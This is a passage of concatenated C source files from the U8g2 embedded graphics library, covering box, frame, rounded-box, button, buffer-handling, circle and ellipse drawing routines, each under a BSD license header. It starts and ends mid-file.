modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" /* draw a filled box restriction: does not work for w = 0 or h = 0 */ void u8g2_DrawBox(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h) { #ifdef U8G2_WITH_INTERSECTION if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) return; #endif /* U8G2_WITH_INTERSECTION */ while( h != 0 ) { u8g2_DrawHVLine(u8g2, x, y, w, 0); y++; h--; } } /* draw a frame (empty box) restriction: does not work for w = 0 or h = 0 */ void u8g2_DrawFrame(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h) { u8g2_uint_t xtmp = x; #ifdef U8G2_WITH_INTERSECTION if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) return; #endif /* U8G2_WITH_INTERSECTION */ u8g2_DrawHVLine(u8g2, x, y, w, 0); if (h >= 2) { h-=2; y++; if (h > 0) { u8g2_DrawHVLine(u8g2, x, y, h, 1); x+=w; x--; u8g2_DrawHVLine(u8g2, x, y, h, 1); y+=h; } u8g2_DrawHVLine(u8g2, xtmp, y, w, 0); } } void u8g2_DrawRBox(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, u8g2_uint_t r) { u8g2_uint_t xl, yu; u8g2_uint_t yl, xr; #ifdef U8G2_WITH_INTERSECTION if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) return; #endif /* U8G2_WITH_INTERSECTION */ xl = x; xl += r; yu = y; yu += r; xr = x; xr += w; xr -= r; xr -= 1; yl = y; yl += h; yl -= r; yl -= 1; u8g2_DrawDisc(u8g2, xl, yu, r, U8G2_DRAW_UPPER_LEFT); u8g2_DrawDisc(u8g2, xr, yu, r, U8G2_DRAW_UPPER_RIGHT); u8g2_DrawDisc(u8g2, xl, yl, r, U8G2_DRAW_LOWER_LEFT); u8g2_DrawDisc(u8g2, xr, yl, r, U8G2_DRAW_LOWER_RIGHT); { u8g2_uint_t ww, hh; ww = w; ww -= r; ww -= r; xl++; yu++; if ( ww >= 3 ) { ww -= 2; u8g2_DrawBox(u8g2, xl, y, ww, r+1); u8g2_DrawBox(u8g2, xl, yl, ww, r+1); } hh = h; hh -= r; hh -= r; //h--; if ( hh >= 3 ) { hh -= 2; u8g2_DrawBox(u8g2, x, yu, w, hh); } } } void u8g2_DrawRFrame(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, u8g2_uint_t r) { u8g2_uint_t xl, yu; #ifdef U8G2_WITH_INTERSECTION if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) return; #endif /* U8G2_WITH_INTERSECTION */ xl = x; xl += r; yu = y; yu += r; { u8g2_uint_t yl, xr; xr = x; xr += w; xr -= r; xr -= 1; yl = y; yl += h; yl -= r; yl -= 1; u8g2_DrawCircle(u8g2, xl, yu, r, U8G2_DRAW_UPPER_LEFT); u8g2_DrawCircle(u8g2, xr, yu, r, U8G2_DRAW_UPPER_RIGHT); u8g2_DrawCircle(u8g2, xl, yl, r, U8G2_DRAW_LOWER_LEFT); u8g2_DrawCircle(u8g2, xr, yl, r, U8G2_DRAW_LOWER_RIGHT); } { u8g2_uint_t ww, hh; ww = w; ww -= r; ww -= r; hh = h; hh -= r; hh -= r; xl++; yu++; if ( ww >= 3 ) { ww -= 2; h--; u8g2_DrawHLine(u8g2, xl, y, ww); u8g2_DrawHLine(u8g2, xl, y+h, ww); } if ( hh >= 3 ) { hh -= 2; w--; u8g2_DrawVLine(u8g2, x, yu, hh); u8g2_DrawVLine(u8g2, x+w, yu, hh); } } } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_buffer.c ================================================ /* u8g2_buffer.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" #include /*============================================*/ void u8g2_ClearBuffer(u8g2_t *u8g2) { size_t cnt; cnt = u8g2_GetU8x8(u8g2)->display_info->tile_width; cnt *= u8g2->tile_buf_height; cnt *= 8; memset(u8g2->tile_buf_ptr, 0, cnt); } /*============================================*/ static void u8g2_send_tile_row(u8g2_t *u8g2, uint8_t src_tile_row, uint8_t dest_tile_row) { uint8_t *ptr; uint16_t offset; uint8_t w; w = u8g2_GetU8x8(u8g2)->display_info->tile_width; offset = src_tile_row; ptr = u8g2->tile_buf_ptr; offset *= w; offset *= 8; ptr += offset; u8x8_DrawTile(u8g2_GetU8x8(u8g2), 0, dest_tile_row, w, ptr); } /* write the buffer to the display RAM. For most displays, this will make the content visible to the user. Some displays (like the SSD1606) require a u8x8_RefreshDisplay() */ static void u8g2_send_buffer(u8g2_t *u8g2) U8X8_NOINLINE; static void u8g2_send_buffer(u8g2_t *u8g2) { uint8_t src_row; uint8_t src_max; uint8_t dest_row; uint8_t dest_max; src_row = 0; src_max = u8g2->tile_buf_height; dest_row = u8g2->tile_curr_row; dest_max = u8g2_GetU8x8(u8g2)->display_info->tile_height; do { u8g2_send_tile_row(u8g2, src_row, dest_row); src_row++; dest_row++; } while( src_row < src_max && dest_row < dest_max ); } /* same as u8g2_send_buffer but also send the DISPLAY_REFRESH message (used by SSD1606) */ void u8g2_SendBuffer(u8g2_t *u8g2) { u8g2_send_buffer(u8g2); u8x8_RefreshDisplay( u8g2_GetU8x8(u8g2) ); } /*============================================*/ void u8g2_SetBufferCurrTileRow(u8g2_t *u8g2, uint8_t row) { u8g2->tile_curr_row = row; u8g2->cb->update_dimension(u8g2); u8g2->cb->update_page_win(u8g2); } void u8g2_FirstPage(u8g2_t *u8g2) { if ( u8g2->is_auto_page_clear ) { u8g2_ClearBuffer(u8g2); } u8g2_SetBufferCurrTileRow(u8g2, 0); } uint8_t u8g2_NextPage(u8g2_t *u8g2) { uint8_t row; u8g2_send_buffer(u8g2); row = u8g2->tile_curr_row; row += u8g2->tile_buf_height; if ( row >= u8g2_GetU8x8(u8g2)->display_info->tile_height ) { u8x8_RefreshDisplay( u8g2_GetU8x8(u8g2) ); return 0; } if ( u8g2->is_auto_page_clear ) { u8g2_ClearBuffer(u8g2); } u8g2_SetBufferCurrTileRow(u8g2, row); return 1; } /*============================================*/ /* Description: Update a sub area of the display, given by tile position, width and height. The arguments are "tile" coordinates. Any u8g2 rotation is ignored. This procedure only checks whether full buffer mode is active. There is no error checking for the arguments: It is the responsibility of the user to ensure, that the provided arguments are correct. Limitations: - Only available in full buffer mode (will not do anything in page mode) - Tile positions and sizes (pixel position divided by 8) - Any display rotation/mirror is ignored - Only works with displays, which support U8x8 API - Will not send the e-paper refresh message (will probably not work with e-paper devices) */ void u8g2_UpdateDisplayArea(u8g2_t *u8g2, uint8_t tx, uint8_t ty, uint8_t tw, uint8_t th) { uint16_t page_size; uint8_t *ptr; /* check, whether we are in full buffer mode */ if ( u8g2->tile_buf_height != u8g2_GetU8x8(u8g2)->display_info->tile_height ) return; /* not in full buffer mode, do nothing */ page_size = u8g2->pixel_buf_width; /* 8*u8g2->u8g2_GetU8x8(u8g2)->display_info->tile_width */ ptr = u8g2_GetBufferPtr(u8g2); ptr += tx*8; ptr += page_size*ty; while( th > 0 ) { u8x8_DrawTile( u8g2_GetU8x8(u8g2), tx, ty, tw, ptr ); ptr += page_size; ty++; th--; } } /* same as sendBuffer, but does not send the ePaper refresh message */ void u8g2_UpdateDisplay(u8g2_t *u8g2) { u8g2_send_buffer(u8g2); } /*============================================*/ /* vertical_top memory architecture */ void u8g2_WriteBufferPBM(u8g2_t *u8g2, void (*out)(const char *s)) { u8x8_capture_write_pbm_pre(u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), out); u8x8_capture_write_pbm_buffer(u8g2_GetBufferPtr(u8g2), u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), u8x8_capture_get_pixel_1, out); } void u8g2_WriteBufferXBM(u8g2_t *u8g2, void (*out)(const char *s)) { u8x8_capture_write_xbm_pre(u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), out); u8x8_capture_write_xbm_buffer(u8g2_GetBufferPtr(u8g2), u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), u8x8_capture_get_pixel_1, out); } /* horizontal right memory architecture */ /* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ void u8g2_WriteBufferPBM2(u8g2_t *u8g2, void (*out)(const char *s)) { u8x8_capture_write_pbm_pre(u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), out); u8x8_capture_write_pbm_buffer(u8g2_GetBufferPtr(u8g2), u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), u8x8_capture_get_pixel_2, out); } void u8g2_WriteBufferXBM2(u8g2_t *u8g2, void (*out)(const char *s)) { u8x8_capture_write_xbm_pre(u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), out); u8x8_capture_write_xbm_buffer(u8g2_GetBufferPtr(u8g2), u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), u8x8_capture_get_pixel_2, out); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_button.c ================================================ /* u8g2_button.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" /* Description: Draws normal or inverted text with optional frame around text. The text (and the frame) can be horizontally centered around the provided reference position. This procedure will use the current draw color and current font. The height of the frame depends on the setting of setFontRefHeightText(), setFontRefHeightExtendedText() or setFontRefHeightAll() Note 1: drawColor 2 (XOR) is not supported. Result will be broken with draw color 2. Note 2: This procedure will enforce font mode 1 (transparent mode) Note 3: Some fonts may add an extra gap on the right side. This is a font problem and can not be avoided (for example inb16 has this problem). The height of the button is defined by the current font and setFontRefHeightText, setFontRefHeightExtendedText setFontRefHeightAll Right padding might be influenced by the font. For example u8g2_font_inb16 may add an extra pixel gap (increase padding by one) on the right side. The current draw color is considered, but only draw color 0 and 1 are supported This function requires transparent font mode: setFontMode(1) Side effect: Font transparent mode is enabled setFontMode(1) */ /* flags: U8G2_BTN_BW1 0x01 U8G2_BTN_BW2 0x02 U8G2_BTN_BW3 0x03 U8G2_BTN_SHADOW0 0x08 U8G2_BTN_SHADOW1 0x10 U8G2_BTN_SHADOW2 0x18 U8G2_BTN_INV 0x20 U8G2_BTN_HCENTER 0x40 U8G2_BTN_XFRAME 0x80 Total size without shadow: width+2*padding_h+2*border Total size with U8G2_BTN_SHADOW0: width+2*padding_h+3*border Total size with U8G2_BTN_SHADOW1: width+2*padding_h+3*border+1 Total size with U8G2_BTN_SHADOW2: width+2*padding_h+3*border+2 U8G2_BTN_XFRAME: draw another one pixel frame with one pixel gap, will not look good with shadow */ void u8g2_DrawButtonFrame(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t text_width, u8g2_uint_t padding_h, u8g2_uint_t padding_v) { u8g2_uint_t w = text_width; u8g2_uint_t xx, yy, ww, hh; u8g2_uint_t gap_frame = U8G2_BTN_BW_MASK+1; u8g2_uint_t border_width = flags & U8G2_BTN_BW_MASK; int8_t a = u8g2_GetAscent(u8g2); int8_t d = u8g2_GetDescent(u8g2); uint8_t color_backup = u8g2->draw_color; if ( flags & U8G2_BTN_XFRAME ) { border_width++; gap_frame = border_width; border_width++; } for(;;) { xx = x; xx -= padding_h; xx -= border_width; ww = w+2*padding_h+2*border_width; yy = y; yy += u8g2->font_calc_vref(u8g2); yy -= a; yy -= padding_v; yy -= border_width; hh = a-d+2*padding_v+2*border_width; if ( border_width == 0 ) break; if ( border_width == gap_frame ) { u8g2_SetDrawColor(u8g2, color_backup == 0 ? 1 : 0); } u8g2_DrawFrame(u8g2, xx, yy, ww, hh); u8g2_SetDrawColor(u8g2, color_backup); if ( flags & U8G2_BTN_SHADOW_MASK ) { if ( border_width == (flags & U8G2_BTN_BW_MASK) ) { u8g2_uint_t i; u8g2_uint_t shadow_gap = (flags & U8G2_BTN_SHADOW_MASK) >> U8G2_BTN_SHADOW_POS; shadow_gap--; for( i = 0; i < border_width; i++ ) { u8g2_DrawHLine(u8g2, xx+border_width+shadow_gap,yy+hh+i+shadow_gap,ww); u8g2_DrawVLine(u8g2, xx+ww+i+shadow_gap,yy+border_width+shadow_gap,hh); } } } border_width--; } /* for */ if ( flags & U8G2_BTN_INV ) { u8g2_SetDrawColor(u8g2, 2); /* XOR */ u8g2_DrawBox(u8g2, xx, yy, ww, hh); u8g2_SetDrawColor(u8g2, color_backup); } } void u8g2_DrawButtonUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t width, u8g2_uint_t padding_h, u8g2_uint_t padding_v, const char *text) { u8g2_uint_t w = u8g2_GetUTF8Width(u8g2, text); u8g2_uint_t text_x_offset = 0; if ( flags & U8G2_BTN_HCENTER ) x -= (w+1)/2; if ( w < width ) { if ( flags & U8G2_BTN_HCENTER ) { text_x_offset = (width-w)/2; } w = width; } u8g2_SetFontMode(u8g2, 1); u8g2_DrawUTF8(u8g2, x,y, text); u8g2_DrawButtonFrame(u8g2, x-text_x_offset, y, flags, w, padding_h, padding_v); } #ifdef NOT_USED void u8g2_Draw4Pixel(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w) { u8g2_DrawPixel(u8g2, x,y-1); u8g2_DrawPixel(u8g2, x+w-1,y-1); u8g2_DrawPixel(u8g2, x+w-1,y-w); u8g2_DrawPixel(u8g2, x,y-w); } void u8g2_DrawRadio(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t is_checked) { uint8_t color_backup = u8g2->draw_color; u8g2_DrawCheckbox(u8g2, x,y,w,is_checked); u8g2_SetDrawColor(u8g2, 2); u8g2_Draw4Pixel(u8g2, x,y,w); if ( is_checked ) { //u8g2_Draw4Pixel(u8g2, x+2,y-2,w-4); } u8g2_SetDrawColor(u8g2, color_backup ); } #endif #ifdef _THIS_CODE_SHOULD_BE_REWRITTEN_WITHOUT_PADWIDTH_ /* Shadow is not supported Note: radius must be at least as high as the border width border width | good radius values 1 | 3, 5, 7, 8, ... 2 | 3, 5, 7, 8, ... */ void u8g2_DrawRButtonUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t padding_h_or_width, u8g2_uint_t padding_v, u8g2_uint_t r, const char *text) { u8g2_uint_t w = u8g2_GetUTF8Width(u8g2, text); //u8g2_uint_t w = u8g2_GetExactStrWidth(u8g2, text); u8g2_uint_t xx, yy, ww, hh; u8g2_uint_t border_width = flags & U8G2_BTN_BW_MASK; u8g2_uint_t padding_h = padding_h_or_width; u8g2_uint_t text_x_offset = 0; // used for U8G2_BTN_PADWIDTH mode int8_t a = u8g2_GetAscent(u8g2); int8_t d = u8g2_GetDescent(u8g2); uint8_t color_backup = u8g2->draw_color; if ( flags & U8G2_BTN_HCENTER ) x -= w/2; if ( flags & U8G2_BTN_PADWIDTH ) { padding_h = 0; if ( w < padding_h_or_width ) { if ( flags & U8G2_BTN_HCENTER ) { text_x_offset = (padding_h_or_width-w)/2; } w = padding_h_or_width; } } u8g2_SetFontMode(u8g2, 1); for(;;) { if ( padding_h >= u8g2_GetDisplayWidth(u8g2)/2 ) // padding_h is zero if U8G2_BTN_PADWIDTH is set { xx = (flags & U8G2_BTN_BW_MASK) - border_width; ww = u8g2_GetDisplayWidth(u8g2); ww -= 2*((flags & U8G2_BTN_BW_MASK) - border_width); //printf("xx=%d ww=%d\n", xx, ww); //printf("clip_x1=%d clip_x0=%d\n", u8g2->clip_x1, u8g2->clip_x0); } else { xx = x; xx -= text_x_offset; xx -= padding_h; xx -= border_width; ww = w+2*padding_h+2*border_width; } yy = y; yy += u8g2->font_calc_vref(u8g2); yy -= a; yy -= padding_v; yy -= border_width; hh = a-d+2*padding_v+2*border_width; if ( border_width == 0 ) break; u8g2_DrawRFrame(u8g2, xx, yy, ww, hh, r); if ( (flags & U8G2_BTN_BW_MASK) > 1 ) u8g2_DrawRFrame(u8g2, xx, yy, ww, hh, r+1); border_width--; if ( r > 1 ) r--; } if ( flags & U8G2_BTN_INV ) { u8g2_DrawRBox(u8g2, xx, yy, ww, hh,r); u8g2_SetDrawColor(u8g2, 1-u8g2->draw_color); } u8g2_DrawUTF8(u8g2, x,y, text); u8g2_SetDrawColor(u8g2, color_backup); } #endif ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_circle.c ================================================ /* u8g2_circle.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" /*==============================================*/ /* Circle */ static void u8g2_draw_circle_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option) U8G2_NOINLINE; static void u8g2_draw_circle_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option) { /* upper right */ if ( option & U8G2_DRAW_UPPER_RIGHT ) { u8g2_DrawPixel(u8g2, x0 + x, y0 - y); u8g2_DrawPixel(u8g2, x0 + y, y0 - x); } /* upper left */ if ( option & U8G2_DRAW_UPPER_LEFT ) { u8g2_DrawPixel(u8g2, x0 - x, y0 - y); u8g2_DrawPixel(u8g2, x0 - y, y0 - x); } /* lower right */ if ( option & U8G2_DRAW_LOWER_RIGHT ) { u8g2_DrawPixel(u8g2, x0 + x, y0 + y); u8g2_DrawPixel(u8g2, x0 + y, y0 + x); } /* lower left */ if ( option & U8G2_DRAW_LOWER_LEFT ) { u8g2_DrawPixel(u8g2, x0 - x, y0 + y); u8g2_DrawPixel(u8g2, x0 - y, y0 + x); } } static void u8g2_draw_circle(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t option) { u8g2_int_t f; u8g2_int_t ddF_x; u8g2_int_t ddF_y; u8g2_uint_t x; u8g2_uint_t y; f = 1; f -= rad; ddF_x = 1; ddF_y = 0; ddF_y -= rad; ddF_y *= 2; x = 0; y = rad; u8g2_draw_circle_section(u8g2, x, y, x0, y0, option); while ( x < y ) { if (f >= 0) { y--; ddF_y += 2; f += ddF_y; } x++; ddF_x += 2; f += ddF_x; u8g2_draw_circle_section(u8g2, x, y, x0, y0, option); } } void u8g2_DrawCircle(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t option) { /* check for bounding box */ #ifdef U8G2_WITH_INTERSECTION { if ( u8g2_IsIntersection(u8g2, x0-rad, y0-rad, x0+rad+1, y0+rad+1) == 0 ) return; } #endif /* U8G2_WITH_INTERSECTION */ /* draw circle */ u8g2_draw_circle(u8g2, x0, y0, rad, option); } /*==============================================*/ /* Disk */ static void u8g2_draw_disc_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option) U8G2_NOINLINE; static void u8g2_draw_disc_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option) { /* upper right */ if ( option & U8G2_DRAW_UPPER_RIGHT ) { u8g2_DrawVLine(u8g2, x0+x, y0-y, y+1); u8g2_DrawVLine(u8g2, x0+y, y0-x, x+1); } /* upper left */ if ( option & U8G2_DRAW_UPPER_LEFT ) { u8g2_DrawVLine(u8g2, x0-x, y0-y, y+1); u8g2_DrawVLine(u8g2, x0-y, y0-x, x+1); } /* lower right */ if ( option & U8G2_DRAW_LOWER_RIGHT ) { u8g2_DrawVLine(u8g2, x0+x, y0, y+1); u8g2_DrawVLine(u8g2, x0+y, y0, x+1); } /* lower left */ if ( option & U8G2_DRAW_LOWER_LEFT ) { u8g2_DrawVLine(u8g2, x0-x, y0, y+1); u8g2_DrawVLine(u8g2, x0-y, y0, x+1); } } static void u8g2_draw_disc(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t option) { u8g2_int_t f; u8g2_int_t ddF_x; u8g2_int_t ddF_y; u8g2_uint_t x; u8g2_uint_t y; f = 1; f -= rad; ddF_x = 1; ddF_y = 0; ddF_y -= rad; ddF_y *= 2; x = 0; y = rad; u8g2_draw_disc_section(u8g2, x, y, x0, y0, option); while ( x < y ) { if (f >= 0) { y--; ddF_y += 2; f += ddF_y; } x++; ddF_x += 2; f += ddF_x; u8g2_draw_disc_section(u8g2, x, y, x0, y0, option); } } void u8g2_DrawDisc(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t option) { /* check for bounding box */ #ifdef U8G2_WITH_INTERSECTION { if ( u8g2_IsIntersection(u8g2, x0-rad, y0-rad, x0+rad+1, y0+rad+1) == 0 ) return; } #endif /* U8G2_WITH_INTERSECTION */ /* draw disc */ u8g2_draw_disc(u8g2, x0, y0, rad, option); } /*==============================================*/ /* Ellipse */ /* Source: Foley, Computer Graphics, p 90 */ static void u8g2_draw_ellipse_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option) U8G2_NOINLINE; static void u8g2_draw_ellipse_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option) { /* upper right */ if ( option & U8G2_DRAW_UPPER_RIGHT ) { u8g2_DrawPixel(u8g2, x0 + x, y0 - y); } /* upper left */ if ( option & U8G2_DRAW_UPPER_LEFT ) { u8g2_DrawPixel(u8g2, x0 - x, y0 - y); } /* lower right */ if ( option & U8G2_DRAW_LOWER_RIGHT ) { u8g2_DrawPixel(u8g2, x0 + x, y0 + y); } /* lower left */ if ( option & U8G2_DRAW_LOWER_LEFT ) { u8g2_DrawPixel(u8g2, x0 - x, y0 + y); } } static void u8g2_draw_ellipse(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t option) { u8g2_uint_t x, y; u8g2_long_t xchg, ychg; u8g2_long_t err; u8g2_long_t rxrx2; u8g2_long_t ryry2; u8g2_long_t stopx, stopy; rxrx2 = rx; rxrx2 *= rx; rxrx2 *= 2; ryry2 = ry; ryry2 *= ry; ryry2 *= 2; x = rx; y = 0; xchg = 1; xchg -= rx; xchg -= rx; xchg *= ry; xchg *= ry; ychg = rx; ychg *= rx; err = 0; stopx = ryry2; stopx *= rx; stopy = 0; while( stopx >= stopy ) { u8g2_draw_ellipse_section(u8g2, x, y, x0, y0, option); y++; stopy += rxrx2; err += ychg; ychg += rxrx2; if ( 2*err+xchg > 0 ) { x--; stopx -= ryry2; err += xchg; xchg += ryry2; } } x = 0; y = ry; xchg = ry; xchg *= ry; ychg = 1; ychg -= ry; ychg -= ry; ychg *= rx; ychg *= rx; err = 0; stopx = 0; stopy = rxrx2; stopy *= ry; while( stopx <= stopy ) { u8g2_draw_ellipse_section(u8g2, x, y, x0, y0, option); x++; stopx += ryry2; err += xchg; xchg += ryry2; if ( 2*err+ychg > 0 ) { y--; stopy -= rxrx2; err += ychg; ychg += rxrx2; } } } void u8g2_DrawEllipse(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t option) { /* check for bounding box */ #ifdef U8G2_WITH_INTERSECTION { if ( u8g2_IsIntersection(u8g2, x0-rx, y0-ry, x0+rx+1, y0+ry+1) == 0 ) return; } #endif /* U8G2_WITH_INTERSECTION */ u8g2_draw_ellipse(u8g2, x0, y0, rx, ry, option); } /*==============================================*/ /* Filled Ellipse */ static void u8g2_draw_filled_ellipse_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option) U8G2_NOINLINE; static void u8g2_draw_filled_ellipse_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option) { /* upper right */ if ( option & U8G2_DRAW_UPPER_RIGHT ) { u8g2_DrawVLine(u8g2, x0+x, y0-y, y+1); } /* upper left */ if ( option & U8G2_DRAW_UPPER_LEFT ) { 